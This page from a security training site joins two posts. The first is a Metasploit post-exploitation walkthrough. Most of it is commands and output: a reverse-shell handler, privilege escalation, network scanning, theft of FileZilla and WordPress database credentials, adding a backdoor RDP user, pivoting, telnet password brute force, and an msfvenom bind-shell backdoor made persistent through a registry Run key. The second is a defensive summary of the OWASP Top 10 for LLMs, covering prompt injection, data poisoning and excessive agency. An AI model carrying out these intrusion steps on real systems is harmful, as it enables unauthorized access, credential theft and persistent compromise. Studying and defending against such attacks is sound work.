TL;DR

Post Exploitation Hacking Techniques - Cybrary

Hello there,This is my first OP3N submission and we'll talk about post exploitation hacking techniques you can use after having a meterpreter shell on a remote system. You'll see things like:

  1. Privilege Escalation
  2. Maintaining Access
  3. Data Harvesting
  4. Weak Password Cracking

NOTE: Don't take this guide as standard methodology. The purpose is to show different "tips and tricks" you can use in post exploitation phases.Start the HandlerWe're assuming we already have a backdoor installed on the remote system. Let's have our handler running and waiting for remote connections:

msf > use exploit/multi/handlermsf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcpPAYLOAD => windows/meterpreter/reverse_tcpmsf exploit(handler) > set LHOST 172.16.5.40LHOST => 172.16.5.40msf exploit(handler) > set LPORT 4466LPORT => 4466msf exploit(handler) > exploit[*] Started reverse handler on 172.16.5.40:4466[*] Starting the payload handler...[*] Sending stage (752128 bytes) to 10.32.120.15[*] Meterpreter session 1 opened (172.16.5.40:4466 -> 10.32.120.15:1034)

Privilege EscalationNow that we have our session running some privilege escalation commands, let's get higher privileges on the system:

meterpreter > getsystem...got system (via technique 1).meterpreter > getuidServer username: NT AUTHORITYSYSTEM

Map the NetworkAn easy way to map the internal network is by running arp_scanner module:

meterpreter > run arp_scanner –r 10.32.120.0/24[*] ARP Scanning 10.32.120.0/24[*] IP: 10.32.120.1 MAC 00:50:56:b1:eb:b8[*] IP: 10.32.120.8 MAC 00:50:56:b1:eb:9a[*] IP: 10.32.120.15 MAC 00:50:56:b1:eb:dd[*] IP: 10.32.120.17 MAC 00:50:56:b1:eb:de[*] IP: 10.32.120.13 MAC 00:50:56:b1:eb:dfmeterpreter >

As you see there are 5 total hosts on the network.  Port ScanOnce we've listed all internal hosts, we need to run a TCP scan to check for open ports.That will help us to also identify the role of each system inside the network. To do that, we first need to background our current session and run the tcp_scanner module:

meterpreter > background[*] Backgrounding session 4...msf exploit(handler) > use auxiliary/scanner/portscan/tcpmsf auxiliary(tcp) > set RHOSTS 10.32.120.17RHOSTS => 10.32.120.17msf auxiliary(tcp) > run[*] 10.32.120.17:139 - TCP OPEN[*] 10.32.120.17:135 - TCP OPEN[*] 10.32.120.17:445 - TCP OPEN

Data HarvestingThere's a chain of commands for this purpose and we'll see a few of them.

Figured out installed application

meterpreter > run post/windows/gather/enum_applications[*] Enumerating applications installed on LS-WINXPInstalled Applications======================Name----FileZilla Client 3.5.3Microsoft Visual C++ 2008 Redistributable - x86Microsoft Visual C++ 2010 x86 RedistributableSecurity Update for Windows XP (KB958644)VMware ToolsWebFldrs XPVersion-------3.5.39.0.30729.414810.0.4021918.6.0.62619.50.7523[*] Results stored in:/root/.msf4/loot/20120314093539_default_10.32.120.15_host.application_729568.txtmeterpreter >

We find Filezilla runing on the system and already know that Metasploit has a module to get credentials from FTP software like Filezilla.

meterpreter > run post/multi/gather/filezilla_client_cred[*] Checking for Filezilla directory in: C:Documents andSettingsLSAdminApplication Data[*] Found C:Documents and SettingsLSAdminApplication DataFileZilla[*] Checking for Filezilla directory in: C:Documents andSettingsAdministratorApplication Data[*] Reading sitemanager.xml and recentservers.xml files from C:Documentsand SettingsLSAdminApplication DataFileZilla[*] Parsing sitemanager.xml[*]Collected the following credentials:[*]Server: 10.32.121.23:21[*]Protocol: FTP[*]Username: lsuser_ftp[*]Password: FTPStrongPwd[*] Parsing recentservers.xml[*]Collected the following credentials:[*]Server: 10.32.121.23:21[*]Protocol: FTP[*]Username: lsuser_ftp[*]Password: FTPStrongPwdmeterpreter >

We also found a new host with the IP: 10.32.121.23.  Exploit the ServerIn the previous step, we discovered a new host with IP: 10.32.121.23 running a FTP service on it. Before getting more info about it, let's try to connect to this system by creating RDP user. For that, we have to interact with our running meterpreter shell and create a new RDP user. Plus, we have to start the RDP service on remote system.

meterpreter > shellProcess 1100 created.Channel 6 created.Microsoft Windows XP [Version 5.1.2600](C) Copyright 1985-2001 Microsoft Corp.C:Documents and SettingsLSAdmin> net user guest_1 guestpwd /addnet user guest_1 guestpwd /addC:Documents and SettingsLSAdmin> net localgroup "Remote Desktop Users"guest_1 /addnet localgroup "Remote Desktop Users" guest_1 /addThe command completed successfully.meterpreter > run getgui -e[*] Windows Remote Desktop Configuration Meterpreter Script byDarkoperator[*] Carlos Perez carlos_perez@darkoperator.com[*] Enabling Remote Desktop[*] RDP is disabled; enabling it ...[*] Setting Terminal Services service startup mode[*] The Terminal Services service is not set to auto, changing it...[*] For cleanup use command: run multi_console_command -rc/root/.msf4/logs/scripts/getgui/clean_up__20120314.4155.rcmeterpreter >

We can login to it with :root@kali:~# rdesktop 10.32.120.15 -u guest_1After getting the RDP, you'll be asked also for the password.

Port ScanLet's run a TCP scan on the server to check further for open ports. To do that, we first need to add a route to the machine - we have to use victim 1 as a bridge.

meterpreter > run autoroute -s 10.32.121.0/24[*] Adding a route to 10.32.121.0/255.255.255.0...[+] Added route to 10.32.121.0/255.255.255.0 via 10.32.120.15[*] Use the -p option to list all active routesmeterpreter >

Now, we can run our scanner module:

meterpreter > background[*] Backgrounding session 2...msf exploit(handler) > use auxiliary/scanner/portscan/tcpmsf auxiliary(tcp) > set RHOSTS 10.32.121.23RHOSTS => 10.32.121.23msf auxiliary(tcp) > run[*][*][*][*][*][*]...10.32.121.23:21 - TCP OPEN10.32.121.23:23 - TCP OPEN10.32.121.23:80 - TCP OPEN10.32.121.23:139 - TCP OPEN10.32.121.23:135 - TCP OPEN10.32.121.23:445 - TCP OPEN

Web ServerPreviously, we found a web server running on intranet. We will port forward the server to us to access the site:

meterpreter > portfwd add -l 8001 -p 80 -r 10.32.121.23[*] Local TCP relay created: 0.0.0.0:8001 <-> 10.32.121.23:80meterpreter >

We should be able to access the internal web site by visiting localhost:8001Weak Password CrackingOn previous tasks, we found also port 23 open on 10.32.121.23 system. Without any service detection, we can figure out there's probably an Telnet service on. Let's try to crack the password using telnet cracker auxiliary:

msf auxiliary(tcp) > use auxiliary/scanner/telnet/telnet_loginmsf auxiliary(telnet_login) > set RHOSTS 10.32.121.23RHOSTS => 10.32.121.23msf auxiliary(telnet_login) > set PASS_FILE /root/Desktop/pwd.txtPASS_FILE => /root/Desktop/pwd.txtmsf auxiliary(telnet_login) > set USER_FILE /root/Desktop/username.txtUSER_FILE => /root/Desktop/username.txtmsf auxiliary(telnet_login) > set THREADS 15THREADS => 15msf auxiliary(telnet_login) > set USER_AS_PASS falseUSER_AS_PASS => falsemsf auxiliary(telnet_login) > set STOP_ON_SUCCESS trueSTOP_ON_SUCCESS => truemsf auxiliary(telnet_login) > exploit...[*] 10.32.121.23:23 TELNET - [00009/10000] - Banner: Welcome to MicrosoftTelnet Service login:[*] 10.32.121.23:23 TELNET - [00009/10000] - Prompt: netadmin password:[*] 10.32.121.23:23 TELNET - [00009/10000] - Result: The handle isinvalid. Login Failed login:[*] 10.32.121.23:23 Telnet - [00010/10000] - Attempting:'netadmin':'12345678'[*] 10.32.121.23:23 TELNET - [00010/10000] - Banner: Welcome to MicrosoftTelnet Service login:[*] 10.32.121.23:23 TELNET - [00010/10000] - Prompt: netadmin password:[*] 10.32.121.23:23 TELNET - [00010/10000] - Result: The handle isinvalid. Login Failed login:[*] 10.32.121.23:23 Telnet - [00011/10000] - Attempting:'netadmin':'abc123'[*] 10.32.121.23:23 TELNET - [00011/10000] - Banner: Welcome to MicrosoftTelnet Service login:[*] 10.32.121.23:23 TELNET - [00011/10000] - Prompt: netadmin password:[*] 10.32.121.23:23 TELNET - [00011/10000] - Result:*===============================================================Microsoft Telnet Server.*===============================================================C:Usersnetadmin>[+] 10.32.121.23 - SUCCESSFUL LOGIN netadmin : abc123[*] Attempting to start session 10.32.121.23:23 with netadmin:abc123[*] Command shell session 2 opened (Local Pipe -> Remote Pipe)[*] Auxiliary module execution completedmsf auxiliary(telnet_login) >

Uploading a Backdoor* Create a backdoor

root@kali:~# cd /pentest/exploits/framework3/root@kali:/pentest/exploits/framework3# ./msfvenomwindows/meterpreter/bind_tcp LPORT=2444 X > /root/Desktop/msf_bind.exeCreated by msfpayload (https://www.metasploit.com).Payload: windows/meterpreter/bind_tcpLength: 298Options: {"LPORT"=>"2444"}

Upload it to the remote system and execute it through telnet (as we have the credentials):

meterpreter > upload /root/Desktop/msf_bind.exe 'C:\Documents andSettings\LSAdmin\Local Settings\Temp\msf_bind.exe'[*] uploading : /root/Desktop/msf_bind.exe -> C:\Documents andSettings\LSAdmin\Local Settings\Temp\msf_bind.exe[*] uploaded: /root/Desktop/msf_bind.exe -> C:\Documents andSettings\LSAdmin\Local Settings\Temp\msf_bind.exemeterpreter >

Run the backdoor using the Telnet session

msf auxiliary(telnet_login) > sessions -i 2[*] Starting interaction with 2...C:>cd inetpubcd inetpubC:inetpub>cd ftprootcd ftprootC:inetpubftproot>msf_bind.exemsf_bind.exeC:inetpubftproot>

Next, we set up a new handler and wait for connections:

msf auxiliary(tcp) > use exploit/multi/handlermsf exploit(handler) > set PAYLOAD windows/meterpreter/bind_tcpPAYLOAD => windows/meterpreter/bind_tcpmsf exploit(handler) > set RHOST 10.32.121.23RHOST => 10.32.121.23msf exploit(handler) > set LPORT 2444LPORT => 2444msf exploit(handler) > exploit[*] Starting the payload handler...[*] Started bind handler[*] Sending stage (752128 bytes)[*] Meterpreter session 4 opened (172.16.5.40-10.32.120.15:0 ->10.32.121.23:2444)meterpreter >

Privilege EscalationNOTE: Don't forget - the first thing you want to do after gaining access to remote system is to escalate you privileges (after migration of course). Let's run one more:

meterpreter > getsystem...got system (via technique 4).meterpreter > getuidServer username: NT AUTHORITYSYSTEMmeterpreter >

Maintaining AccessGetting just high privileges isn't enough, right? Let's add a value in the registry in order to run our backdoor on startup so we can access the system any time we want:

meterpreter > reg setval -kHKLM\software\microsoft\windows\currentversion\run'"C:inetpubftprootmsf_bind.exe"' -v msf_bindSuccessful set msf_bind.meterpreter >-dWhere –k indicates the registry key path, -d the value of the value of the key and –v the name.

Data HarvestingWe know the system is running a web server and is probably connected to a database. Let's find  usernames and passwords for this site. The easier way is by looking up the config file of the site by downloading it:

meterpreter > lsListing: C:inetpubwwwrootintranet====================================

Mode                              Size        Type     Name----                                  ----          ----     ----40777/rwxrwxrwx       0             dir      .40777/rwxrwxrwx       0             dir      ..100666/rw-rw-rw-      397         fil      index.php100666/rw-rw-rw-      16899    fil      licence.txt100666/rw-rw-rw-      9202      fil      readme.html......100666/rw-rw-rw-      3982      fil      wp-comments-post.phppost.php                         3165      fil      wp-config.php100666/rw-rw-rw-      0           dir      wp-content......

meterpreter > download wp-config.php /root/Desktop/conf.php[*] downloading: wp-config.php -> /root/Desktop/conf.php/wp-config.php[*] downloaded : wp-config.php -> /root/Desktop/conf.php/wp-config.phpmeterpreter >

And, finally, the credentials we need:

DB NAME                  intranetDB USER                   rootDB PASSWORD       LSMySqlDBPwd0905DB HOST                  10.32.121.12

That's it for now, folks. Hope you find this useful!

The Open Worldwide Application Security Project (OWASP) is a community-led organization and has been around for over 20 years and is largely known for its Top 10 web application security risks (check out our course on it). As the use of generative AI and large language models (LLMs) has exploded recently, so too has the risk to privacy and security by these technologies. OWASP, leading the charge for security, has come out with its Top 10 for LLMs and Generative AI Apps this year. In this blog post we’ll explore the Top 10 risks and explore examples of each as well as how to prevent these risks.

LLM01: Prompt Injection

Those familiar with the OWASP Top 10 for web applications have seen the injection category before at the top of the list for many years. This is no exception with LLMs and ranks as number one. Prompt Injection can be a critical vulnerability in LLMs where an attacker manipulates the model through crafted inputs, leading it to execute unintended actions. This can result in unauthorized access, data exfiltration, or social engineering. There are two types: Direct Prompt Injection, which involves "jailbreaking" the system by altering or revealing underlying system prompts, giving an attacker access to backend systems or sensitive data, and Indirect Prompt Injection, where external inputs (like files or web content) are used to manipulate the LLM's behavior.

As an example, an attacker might upload a resume containing an indirect prompt injection, instructing an LLM-based hiring tool to favorably evaluate the resume. When an internal user runs the document through the LLM for summarization, the embedded prompt makes the LLM respond positively about the candidate’s suitability, regardless of the actual content.

How to prevent prompt injection:

  1. Limit LLM Access: Apply the principle of least privilege by restricting the LLM's access to sensitive backend systems and enforcing API token controls for extended functionalities like plugins.
  2. Human Approval for Critical Actions: For high-risk operations, require human validation before executing, ensuring that the LLM's suggestions are not followed blindly.
  3. Separate External and User Content: Use frameworks like ChatML for OpenAI API calls to clearly differentiate between user prompts and untrusted external content, reducing the chance of unintentional action from mixed inputs.
  4. Monitor and Flag Untrusted Outputs: Regularly review LLM outputs and mark suspicious content, helping users to recognize potentially unreliable information.

LLM02: Insecure Output Handling

Insecure Output Handling occurs when the outputs generated by a LLM are not properly validated or sanitized before being used by other components in a system. Since LLMs can generate various types of content based on input prompts, failing to handle these outputs securely can introduce risks like cross-site scripting (XSS), server-side request forgery (SSRF), or even remote code execution (RCE). Unlike Overreliance (LLM09), which focuses on the accuracy of LLM outputs, Insecure Output Handling specifically addresses vulnerabilities in how these outputs are processed downstream.

As an example, there could be a web application that uses an LLM to summarize user-provided content and renders it back in a webpage. An attacker submits a prompt containing malicious JavaScript code. If the LLM’s output is displayed on the webpage without proper sanitization, the JavaScript will execute in the user’s browser, leading to XSS. Alternatively, if the LLM’s output is sent to a backend database or shell command, it could allow SQL injection or remote code execution if not properly validated.

How to prevent Insecure Output Handling:

  1. Zero-Trust Approach: Treat the LLM as an untrusted source, applying strict allow list validation and sanitization to all outputs it generates, especially before passing them to downstream systems or functions.
  2. Output Encoding: Encode LLM outputs before displaying them to end users, particularly when dealing with web content where XSS risks are prevalent.
  3. Adhere to Security Standards: Follow the OWASP Application Security Verification Standard (ASVS) guidelines, which provide strategies for input validation and sanitization to protect against code injection risks.

LLM03: Training Data Poisoning

Training Data Poisoning refers to the manipulation of the data used to train LLMs, introducing biases, backdoors, or vulnerabilities. This tampered data can degrade the model's effectiveness, introduce harmful biases, or create security flaws that malicious actors can exploit. Poisoned data could lead to inaccurate or inappropriate outputs, compromising user trust, harming brand reputation, and increasing security risks like downstream exploitation.

As an example, there could be a scenario where an LLM is trained on a dataset that has been tampered with by a malicious actor. The poisoned dataset includes subtly manipulated content, such as biased news articles or fabricated facts. When the model is deployed, it may output biased information or incorrect details based on the poisoned data. This not only degrades the model’s performance but can also mislead users, potentially harming the model’s credibility and the organization’s reputation.

How to prevent Training Data Poisoning:

  1. Data Validation and Vetting: Verify the sources of training data, especially when sourcing from third-party datasets. Conduct thorough checks on data integrity, and where possible, use trusted data sources.
  2. Machine Learning Bill of Materials (ML-BOM): Maintain an ML-BOM to track the provenance of training data and ensure that each source is legitimate and suitable for the model’s purpose.
  3. Sandboxing and Network Controls: Restrict access to external data sources and use network controls to prevent unintended data scraping during training. This helps ensure that only vetted data is used for training.
  4. Adversarial Robustness Techniques: Implement strategies like federated learning and statistical outlier detection to reduce the impact of poisoned data. Periodic testing and monitoring can identify unusual model behaviors that may indicate a poisoning attempt.
  5. Human Review and Auditing: Regularly audit model outputs and use a human-in-the-loop approach to validate outputs, especially for sensitive applications. This added layer of scrutiny can catch potential issues early.

LLM04: Model Denial of Service

Model Denial of Service (DoS) is a vulnerability in which an attacker deliberately consumes an excessive amount of computational resources by interacting with a LLM. This can result in degraded service quality, increased costs, or even system crashes. One emerging concern is manipulating the context window of the LLM, which refers to the maximum amount of text the model can process at once. This makes it possible to overwhelm the LLM by exceeding or exploiting this limit, leading to resource exhaustion.

As an example, an attacker may continuously flood the LLM with sequential inputs that each reach the upper limit of the model’s context window. This high-volume, resource-intensive traffic overloads the system, resulting in slower response times and even denial of service. As another example, if an LLM-based chatbot is inundated with a flood of recursive or exceptionally long prompts, it can strain computational resources, causing system crashes or significant delays for other users.

How to prevent Model Denial of Service:

  1. Rate Limiting: Implement rate limits to restrict the number of requests from a single user or IP address within a specific timeframe. This reduces the chance of overwhelming the system with excessive traffic.
  2. Resource Allocation Caps: Set caps on resource usage per request to ensure that complex or high-resource requests do not consume excessive CPU or memory. This helps prevent resource exhaustion.
  3. Input Size Restrictions: Limit input size according to the LLM's context window capacity to prevent excessive context expansion. For example, inputs exceeding a predefined character limit can be truncated or rejected.
  4. Monitoring and Alerts: Continuously monitor resource utilization and establish alerts for unusual spikes, which may indicate a DoS attempt. This allows for proactive threat detection and response.
  5. Developer Awareness and Training: Educate developers about DoS vulnerabilities in LLMs and establish guidelines for secure model deployment. Understanding these risks enables teams to implement preventative measures more effectively.

LLM05: Supply Chain Vulnerabilities

Supply Chain attacks are incredibly common and this is no different with LLMs, which, in this case refers to risks associated with the third-party components, training data, pre-trained models, and deployment platforms used within LLMs. These vulnerabilities can arise from outdated libraries, tampered models, and even compromised data sources, impacting the security and reliability of the entire application. Unlike traditional software supply chain risks, LLM supply chain vulnerabilities extend to the models and datasets themselves, which may be manipulated to include biases, backdoors, or malware that compromises system integrity.

As an example, an organization uses a third-party pre-trained model to conduct economic analysis. If this model is poisoned with incorrect or biased data, it could generate inaccurate results that mislead decision-making. Additionally, if the organization uses an outdated plugin or compromised library, an attacker could exploit this vulnerability to gain unauthorized access or tamper with sensitive information. Such vulnerabilities can result in significant security breaches, financial loss, or reputational damage.

How to prevent Supply Chain Vulnerabilities:

  1. Vet Third-Party Components: Carefully review the terms, privacy policies, and security measures of all third-party model providers, data sources, and plugins. Use only trusted suppliers and ensure they have robust security protocols in place.
  2. Maintain a Software Bill of Materials (SBOM): An SBOM provides a complete inventory of all components, allowing for quick detection of vulnerabilities and unauthorized changes. Ensure that all components are up-to-date and apply patches as needed.
  3. Use Model and Code Signing: For models and external code, employ digital signatures to verify their integrity and authenticity before use. This helps ensure that no tampering has occurred.
  4. Anomaly Detection and Robustness Testing: Conduct adversarial robustness tests and anomaly detection on models and data to catch signs of tampering or data poisoning. Integrating these checks into your MLOps pipeline can enhance overall security.
  5. Implement Monitoring and Patching Policies: Regularly monitor component usage, scan for vulnerabilities, and patch outdated components. For sensitive applications, continuously audit your suppliers’ security posture and update components as new threats emerge.

LLM06: Sensitive Information Disclosure

Sensitive Information Disclosure in LLMs occurs when the model inadvertently reveals private, proprietary, or confidential information through its output. This can happen due to the model being trained on sensitive data or because it memorizes and later reproduces private information. Such disclosures can result in significant security breaches, including unauthorized access to personal data, intellectual property leaks, and violations of privacy laws.

As an example, there could be an LLM-based chatbot trained on a dataset containing personal information such as users’ full names, addresses, or proprietary business data. If the model memorizes this data, it could accidentally reveal this sensitive information to other users. For instance, a user might ask the chatbot for a recommendation, and the model could inadvertently respond with personal information it learned during training, violating privacy rules.

How to prevent Sensitive Information Disclosure:

  1. Data Sanitization: Before training, scrub datasets of personal or sensitive information. Use techniques like anonymization and redaction to ensure no sensitive data remains in the training data.
  2. Input and Output Filtering: Implement robust input validation and sanitization to prevent sensitive data from entering the model’s training data or being echoed back in outputs.
  3. Limit Training Data Exposure: Apply the principle of least privilege by restricting sensitive data from being part of the training dataset. Fine-tune the model with only the data necessary for its task, and ensure high-privilege data is not accessible to lower-privilege users.
  4. User Awareness: Make users aware of how their data is processed by providing clear Terms of Use and offering opt-out options for having their data used in model training.
  5. Access Controls: Apply strict access control to external data sources used by the LLM, ensuring that sensitive information is handled securely throughout the system

LLM07: Insecure Plugin Design

Insecure Plugin Design vulnerabilities arise when LLM plugins, which extend the model’s capabilities, are not adequately secured. These plugins often allow free-text inputs and may lack proper input validation and access controls. When enabled, plugins can execute various tasks based on the LLM’s outputs without further checks, which can expose the system to risks like data exfiltration, remote code execution, and privilege escalation. This vulnerability is particularly dangerous because plugins can operate with elevated permissions while assuming that user inputs are trustworthy.

As an example, there could be a weather plugin that allows users to input a base URL and query. An attacker could craft a malicious input that directs the LLM to a domain they control, allowing them to inject harmful content into the system. Similarly, a plugin that accepts SQL “WHERE” clauses without validation could enable an attacker to execute SQL injection attacks, gaining unauthorized access to data in a database.

How to prevent Insecure Plugin Design:

  1. Enforce Parameterized Input: Plugins should restrict inputs to specific parameters and avoid free-form text wherever possible. This can prevent injection attacks and other exploits.
  2. Input Validation and Sanitization: Plugins should include robust validation on all inputs. Using Static Application Security Testing (SAST) and Dynamic Application Security Testing (DAST) can help identify vulnerabilities during development.
  3. Access Control: Follow the principle of least privilege, limiting each plugin's permissions to only what is necessary. Implement OAuth2 or API keys to control access and ensure only authorized users or components can trigger sensitive actions.
  4. Manual Authorization for Sensitive Actions: For actions that could impact user security, such as transferring files or accessing private repositories, require explicit user confirmation.
  5. Adhere to OWASP API Security Guidelines: Since plugins often function as REST APIs, apply best practices from the OWASP API Security Top 10. This includes securing endpoints and applying rate limiting to mitigate potential abuse.

LLM08: Excessive Agency

Excessive Agency in LLM-based applications arises when models are granted too much autonomy or functionality, allowing them to perform actions beyond their intended scope. This vulnerability occurs when an LLM agent has access to functions that are unnecessary for its purpose or operates with excessive permissions, such as being able to modify or delete records instead of only reading them. Unlike Insecure Output Handling, which deals with the lack of validation on the model’s outputs, Excessive Agency pertains to the risks involved when an LLM takes actions without proper authorization, potentially leading to confidentiality, integrity, and availability issues.

As an example, there could be an LLM-based assistant that is given access to a user's email account to summarize incoming messages. If the plugin that is used to read emails also has permissions to send messages, a malicious prompt injection could trick the LLM into sending unauthorized emails (or spam) from the user's account.

How to prevent Excessive Agency:

  1. Restrict Plugin Functionality: Ensure plugins and tools only provide necessary functions. For example, if a plugin is used to read emails, it should not include capabilities to delete or send emails.
  2. Limit Permissions: Follow the principle of least privilege by restricting plugins’ access to external systems. For instance, a plugin for database access should be read-only if writing or modifying data is not required.
  3. Avoid Open-Ended Functions: Avoid functions like “run shell command” or “fetch URL” that provide broad system access. Instead, use plugins that perform specific, controlled tasks.
  4. User Authorization and Scope Tracking: Require plugins to execute actions within the context of a specific user's permissions. For example, using OAuth with limited scopes helps ensure actions align with the user’s access level.
  5. Human-in-the-Loop Control: Require user confirmation for high-impact actions. For instance, a plugin that posts to social media should require the user to review and approve the content before it is published.
  6. Authorization in Downstream Systems: Implement authorization checks in downstream systems that validate each request against security policies. This prevents the LLM from making unauthorized changes directly.

LLM09: Overreliance

Overreliance occurs when users or systems trust the outputs of a LLM without proper oversight or verification. While LLMs can generate creative and informative content, they are prone to “hallucinations” (producing false or misleading information) or providing authoritative-sounding but incorrect outputs. Overreliance on these models can result in security risks, misinformation, miscommunication, and even legal issues, especially if LLM-generated content is used without validation. This vulnerability becomes especially dangerous in cases where LLMs suggest insecure coding practices or flawed recommendations.

As an example, there could be a development team using an LLM to expedite the coding process. The LLM suggests an insecure code library, and the team, trusting the LLM, incorporates it into their software without review. This introduces a serious vulnerability. As another example, a news organization might use an LLM to generate articles, but if they don’t validate the information, it could lead to the spread of disinformation.

How to prevent Overreliance:

  1. Regular Monitoring and Review: Implement processes to review LLM outputs regularly. Use techniques like self-consistency checks or voting mechanisms to compare multiple model responses and filter out inconsistencies.
  2. Cross-Verification: Compare the LLM’s output with reliable, trusted sources to ensure the information’s accuracy. This step is crucial, especially in fields where factual accuracy is imperative.
  3. Fine-Tuning and Prompt Engineering: Fine-tune models for specific tasks or domains to reduce hallucinations. Techniques like parameter-efficient tuning (PET) and chain-of-thought prompting can help improve the quality of LLM outputs.
  4. Automated Validation: Use automated validation tools to cross-check generated outputs against known facts or data, adding an extra layer of security.
  5. Risk Communication: Clearly communicate the limitations of LLMs to users, highlighting the potential for errors. Transparent disclaimers can help manage user expectations and encourage cautious use of LLM outputs.
  6. Secure Coding Practices: For development environments, establish guidelines to prevent the integration of potentially insecure code. Avoid relying solely on LLM-generated code without thorough review.

LLM10: Model Theft

Model Theft refers to the unauthorized access, extraction, or replication of proprietary LLMs by malicious actors. These models, containing valuable intellectual property, are at risk of exfiltration, which can lead to significant economic and reputational loss, erosion of competitive advantage, and unauthorized access to sensitive information encoded within the model. Attackers may steal models directly from company infrastructure or replicate them by querying APIs to build shadow models that mimic the original. As LLMs become more prevalent, safeguarding their confidentiality and integrity is crucial.

As an example, an attacker could exploit a misconfiguration in a company’s network security settings, gaining access to their LLM model repository. Once inside, the attacker could exfiltrate the proprietary model and use it to build a competing service. Alternatively, an insider may leak model artifacts, allowing adversaries to launch gray box adversarial attacks or fine-tune their own models with stolen data.

How to prevent Model Theft:

  1. Access Controls and Authentication: Use Role-Based Access Control (RBAC) and enforce strong authentication mechanisms to limit unauthorized access to LLM repositories and training environments. Adhere to the principle of least privilege for all user accounts.
  2. Supplier and Dependency Management: Monitor and verify the security of suppliers and dependencies to reduce the risk of supply chain attacks, ensuring that third-party components are secure.
  3. Centralized Model Inventory: Maintain a central ML Model Registry with access controls, logging, and authentication for all production models. This can aid in governance, compliance, and prompt detection of unauthorized activities.
  4. Network Restrictions: Limit LLM access to internal services, APIs, and network resources. This reduces the attack surface for side-channel attacks or unauthorized model access.
  5. Continuous Monitoring and Logging: Regularly monitor access logs for unusual activity and promptly address any unauthorized access. Automated governance workflows can also help streamline access and deployment controls.
  6. Adversarial Robustness: Implement adversarial robustness training to help detect extraction queries and defend against side-channel attacks. Rate-limit API calls to further protect against data exfiltration.
  7. Watermarking Techniques: Embed unique watermarks within the model to track unauthorized copies or detect theft during the model’s lifecycle.

Wrapping it all up

As LLMs continue to grow in capability and integration across industries, their security risks must be managed with the same vigilance as any other critical system. From Prompt Injection to Model Theft, the vulnerabilities outlined in the OWASP Top 10 for LLMs highlight the unique challenges posed by these models, particularly when they are granted excessive agency or have access to sensitive data. Addressing these risks requires a multifaceted approach involving strict access controls, robust validation processes, continuous monitoring, and proactive governance.

For technical leadership, this means ensuring that development and operational teams implement best practices across the LLM lifecycle starting from securing training data to ensuring safe interaction between LLMs and external systems through plugins and APIs. Prioritizing security frameworks such as the OWASP ASVS, adopting MLOps best practices, and maintaining vigilance over supply chains and insider threats are key steps to safeguarding LLM deployments. Ultimately, strong leadership that emphasizes security-first practices will protect both intellectual property and organizational integrity, while fostering trust in the use of AI technologies.

Start learning with Cybrary

Create a free account

Related Posts

All Blogs